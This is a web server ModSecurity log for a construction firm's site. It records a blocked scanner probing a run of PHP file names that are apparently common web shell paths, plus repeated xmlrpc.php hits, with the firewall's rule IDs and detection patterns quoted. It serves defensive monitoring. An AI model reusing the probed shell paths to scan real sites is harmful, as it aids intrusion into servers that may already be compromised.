[Mon Apr 13 03:22:06.474170 2026] [:error] [pid 32010:tid 32013] [client 20.151.218.28:31566] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/set.php"] [unique_id "advw3g0nq-t9pXyV1fzDlQAAAME"]
[Mon Apr 13 03:22:06.883450 2026] [:error] [pid 31605:tid 31656] [client 20.151.218.28:31509] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/set.php"] [unique_id "advw3m9Py-Y-9VQ02eHivwAAAA0"]
[Mon Apr 13 03:22:07.292774 2026] [:error] [pid 32010:tid 32029] [client 20.151.218.28:31451] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "advw3w0nq-t9pXyV1fzDmQAAANE"]
[Mon Apr 13 03:22:07.702672 2026] [:error] [pid 31607:tid 31752] [client 20.151.218.28:31541] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "advw32jn_I-KYTWngjJRNQAAAI8"]
[Mon Apr 13 03:22:08.112292 2026] [:error] [pid 54671:tid 54680] [client 20.151.218.28:31548] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "advw4GyJMmaONUqF0tCy0gAAAQU"]
[Mon Apr 13 03:22:08.524177 2026] [:error] [pid 32010:tid 32030] [client 20.151.218.28:31466] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "advw4A0nq-t9pXyV1fzDnAAAANI"]
[Mon Apr 13 03:22:08.934038 2026] [:error] [pid 31605:tid 31658] [client 20.151.218.28:31444] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ssxsl.php"] [unique_id "advw4G9Py-Y-9VQ02eHiwwAAAA8"]
[Mon Apr 13 03:22:09.361033 2026] [:error] [pid 31606:tid 31716] [client 20.151.218.28:31479] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ssxsl.php"] [unique_id "advw4T9vCsshNhLmCiCRCwAAAEo"]
[Mon Apr 13 03:22:09.771558 2026] [:error] [pid 31605:tid 31659] [client 20.151.218.28:31516] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ssxsl.php"] [unique_id "advw4W9Py-Y-9VQ02eHixQAAABA"]
[Mon Apr 13 03:22:10.181989 2026] [:error] [pid 31605:tid 31662] [client 20.151.218.28:31475] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ssxsl.php"] [unique_id "advw4m9Py-Y-9VQ02eHixwAAABM"]
[Mon Apr 13 03:22:10.592111 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:31690] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/AE5VAL.php"] [unique_id "advw4myJMmaONUqF0tCy2QAAAQk"]
[Mon Apr 13 03:22:11.002618 2026] [:error] [pid 31606:tid 31711] [client 20.151.218.28:31531] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/AE5VAL.php"] [unique_id "advw4z9vCsshNhLmCiCRDQAAAEU"]
[Mon Apr 13 03:22:11.415130 2026] [:error] [pid 31606:tid 31731] [client 20.151.218.28:31374] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/AE5VAL.php"] [unique_id "advw4z9vCsshNhLmCiCREQAAAFg"]
[Mon Apr 13 03:22:11.825947 2026] [:error] [pid 31605:tid 31645] [client 20.151.218.28:31433] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/AE5VAL.php"] [unique_id "advw429Py-Y-9VQ02eHi0AAAAAI"]
[Mon Apr 13 03:22:12.237136 2026] [:error] [pid 32010:tid 32028] [client 20.151.218.28:31375] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gold.php"] [unique_id "advw5A0nq-t9pXyV1fzDpwAAANA"]
[Mon Apr 13 03:22:12.647389 2026] [:error] [pid 54671:tid 54685] [client 20.151.218.28:31507] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gold.php"] [unique_id "advw5GyJMmaONUqF0tCy4AAAAQo"]
[Mon Apr 13 03:22:13.057052 2026] [:error] [pid 54671:tid 54681] [client 20.151.218.28:31372] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gold.php"] [unique_id "advw5WyJMmaONUqF0tCy4QAAAQY"]
[Mon Apr 13 03:22:13.467882 2026] [:error] [pid 32010:tid 32016] [client 20.151.218.28:31386] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gold.php"] [unique_id "advw5Q0nq-t9pXyV1fzDrQAAAMQ"]
[Mon Apr 13 03:22:13.879324 2026] [:error] [pid 31606:tid 31719] [client 20.151.218.28:31549] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gely.php"] [unique_id "advw5T9vCsshNhLmCiCRFgAAAE0"]
[Mon Apr 13 03:22:14.289707 2026] [:error] [pid 31605:tid 31654] [client 20.151.218.28:31473] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gely.php"] [unique_id "advw5m9Py-Y-9VQ02eHi1QAAAAs"]
[Mon Apr 13 03:22:14.699513 2026] [:error] [pid 31605:tid 31650] [client 20.151.218.28:31439] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gely.php"] [unique_id "advw5m9Py-Y-9VQ02eHi1wAAAAc"]
[Mon Apr 13 03:22:15.110409 2026] [:error] [pid 32010:tid 32030] [client 20.151.218.28:31373] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gely.php"] [unique_id "advw5w0nq-t9pXyV1fzDsQAAANI"]
[Mon Apr 13 03:22:15.521015 2026] [:error] [pid 31607:tid 31757] [client 20.151.218.28:31450] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xBrain.php"] [unique_id "advw52jn_I-KYTWngjJRPgAAAJQ"]
[Mon Apr 13 03:22:15.932151 2026] [:error] [pid 31607:tid 31760] [client 20.151.218.28:31649] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xBrain.php"] [unique_id "advw52jn_I-KYTWngjJRQgAAAJc"]
[Mon Apr 13 03:22:16.342502 2026] [:error] [pid 31606:tid 31728] [client 20.151.218.28:31538] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xBrain.php"] [unique_id "advw6D9vCsshNhLmCiCRGAAAAFY"]
[Mon Apr 13 03:22:16.752122 2026] [:error] [pid 31605:tid 31659] [client 20.151.218.28:31445] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xBrain.php"] [unique_id "advw6G9Py-Y-9VQ02eHi3QAAABA"]
[Mon Apr 13 03:22:17.163230 2026] [:error] [pid 54671:tid 54699] [client 20.151.218.28:31523] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagafif.php"] [unique_id "advw6WyJMmaONUqF0tCy7gAAARg"]
[Mon Apr 13 03:22:17.573342 2026] [:error] [pid 54671:tid 54690] [client 20.151.218.28:31448] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagafif.php"] [unique_id "advw6WyJMmaONUqF0tCy7wAAAQ8"]
[Mon Apr 13 03:22:17.986055 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:31383] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagafif.php"] [unique_id "advw6WyJMmaONUqF0tCy8gAAAQc"]
[Mon Apr 13 03:22:18.395499 2026] [:error] [pid 54671:tid 54675] [client 20.151.218.28:31446] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagafif.php"] [unique_id "advw6myJMmaONUqF0tCy9gAAAQA"]
[Mon Apr 13 03:22:18.803881 2026] [:error] [pid 32010:tid 32032] [client 20.151.218.28:31435] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trc.php"] [unique_id "advw6g0nq-t9pXyV1fzDtwAAANQ"]
[Mon Apr 13 03:22:19.212626 2026] [:error] [pid 31606:tid 31731] [client 20.151.218.28:31513] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trc.php"] [unique_id "advw6z9vCsshNhLmCiCRHQAAAFg"]
[Mon Apr 13 03:22:19.622262 2026] [:error] [pid 54671:tid 54696] [client 20.151.218.28:31453] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trc.php"] [unique_id "advw62yJMmaONUqF0tCy-wAAARU"]
[Mon Apr 13 03:22:20.034576 2026] [:error] [pid 32010:tid 32029] [client 20.151.218.28:31398] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trc.php"] [unique_id "advw7A0nq-t9pXyV1fzDugAAANE"]
[Mon Apr 13 03:22:20.446919 2026] [:error] [pid 54671:tid 54690] [client 20.151.218.28:31363] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tesla1.php"] [unique_id "advw7GyJMmaONUqF0tCy_QAAAQ8"]
[Mon Apr 13 03:22:20.857453 2026] [:error] [pid 54671:tid 54686] [client 20.151.218.28:31547] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tesla1.php"] [unique_id "advw7GyJMmaONUqF0tCy_wAAAQs"]
[Mon Apr 13 03:22:21.267598 2026] [:error] [pid 32010:tid 32024] [client 20.151.218.28:31378] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tesla1.php"] [unique_id "advw7Q0nq-t9pXyV1fzDwwAAAMw"]
[Mon Apr 13 03:22:21.676711 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:31604] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tesla1.php"] [unique_id "advw7WyJMmaONUqF0tCzAAAAAQk"]
[Mon Apr 13 03:22:22.087333 2026] [:error] [pid 54671:tid 54693] [client 20.151.218.28:31496] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aks.php"] [unique_id "advw7myJMmaONUqF0tCzBgAAARI"]
[Mon Apr 13 03:22:22.497021 2026] [:error] [pid 32010:tid 32034] [client 20.151.218.28:31522] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aks.php"] [unique_id "advw7g0nq-t9pXyV1fzDzAAAANY"]
[Mon Apr 13 03:22:22.907819 2026] [:error] [pid 31605:tid 31644] [client 20.151.218.28:31602] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aks.php"] [unique_id "advw7m9Py-Y-9VQ02eHi6AAAAAE"]
[Mon Apr 13 03:22:23.318011 2026] [:error] [pid 31607:tid 31748] [client 20.151.218.28:31364] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aks.php"] [unique_id "advw72jn_I-KYTWngjJRRQAAAIs"]
[Mon Apr 13 03:22:23.728718 2026] [:error] [pid 31605:tid 31646] [client 20.151.218.28:31443] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pomo/l.php"] [unique_id "advw729Py-Y-9VQ02eHi7wAAAAM"]
[Mon Apr 13 03:42:59.473024 2026] [:error] [pid 33942:tid 33994] [client 85.214.232.59:54756] [client 85.214.232.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.232.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv1wxNHe8geO_lMeFZivQAAAE8"]
[Mon Apr 13 03:43:04.778349 2026] [:error] [pid 33943:tid 34021] [client 43.157.148.38:51370] [client 43.157.148.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adv1yKyoXuZjocnxM5Ep7QAAAI8"]
[Mon Apr 13 03:46:04.860207 2026] [:error] [pid 34048:tid 34067] [client 185.199.223.39:49588] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv2fPSiQ_PJjlY5Ehy6MQAAANE"]
[Mon Apr 13 03:47:29.133485 2026] [:error] [pid 34048:tid 34073] [client 185.246.164.237:49440] [client 185.246.164.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.246.164.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv20fSiQ_PJjlY5Ehy7VQAAANc"]
[Mon Apr 13 03:51:18.469366 2026] [:error] [pid 33941:tid 33954] [client 40.77.105.187:22437] [client 40.77.105.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 40.77.105.187, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv3tm_NKERAxgG-rYP-YgAAAAQ"]
[Mon Apr 13 03:52:17.891463 2026] [:error] [pid 33942:tid 33996] [client 46.105.230.99:30800] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv38RNHe8geO_lMeFZlnQAAAFE"]
[Mon Apr 13 03:52:49.524961 2026] [:error] [pid 33942:tid 33979] [client 5.189.168.141:52270] [client 5.189.168.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.168.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv4ERNHe8geO_lMeFZl5AAAAEA"]
[Mon Apr 13 03:53:19.801365 2026] [:error] [pid 33942:tid 33982] [client 52.178.68.120:44080] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv4LxNHe8geO_lMeFZl_gAAAEM"]
[Mon Apr 13 03:54:51.754618 2026] [:error] [pid 34048:tid 34051] [client 149.202.76.92:41640] [client 149.202.76.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.76.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv4i_SiQ_PJjlY5Ehy_vwAAAME"]
[Mon Apr 13 03:56:26.919299 2026] [:error] [pid 33943:tid 34007] [client 212.7.160.134:51412] [client 212.7.160.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.7.160.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv46qyoXuZjocnxM5EvcQAAAIE"]
[Mon Apr 13 04:05:02.147831 2026] [:error] [pid 34048:tid 34054] [client 51.83.154.40:35186] [client 51.83.154.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.154.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv67vSiQ_PJjlY5EhzE_gAAAMQ"]
[Mon Apr 13 04:11:24.311826 2026] [:error] [pid 33941:tid 33965] [client 147.93.131.179:37238] [client 147.93.131.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.93.131.179, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv8bG_NKERAxgG-rYMNowAAAA4"]
[Mon Apr 13 04:13:42.517807 2026] [:error] [pid 34048:tid 34060] [client 51.210.113.223:41086] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv89vSiQ_PJjlY5EhzMpAAAAMo"]
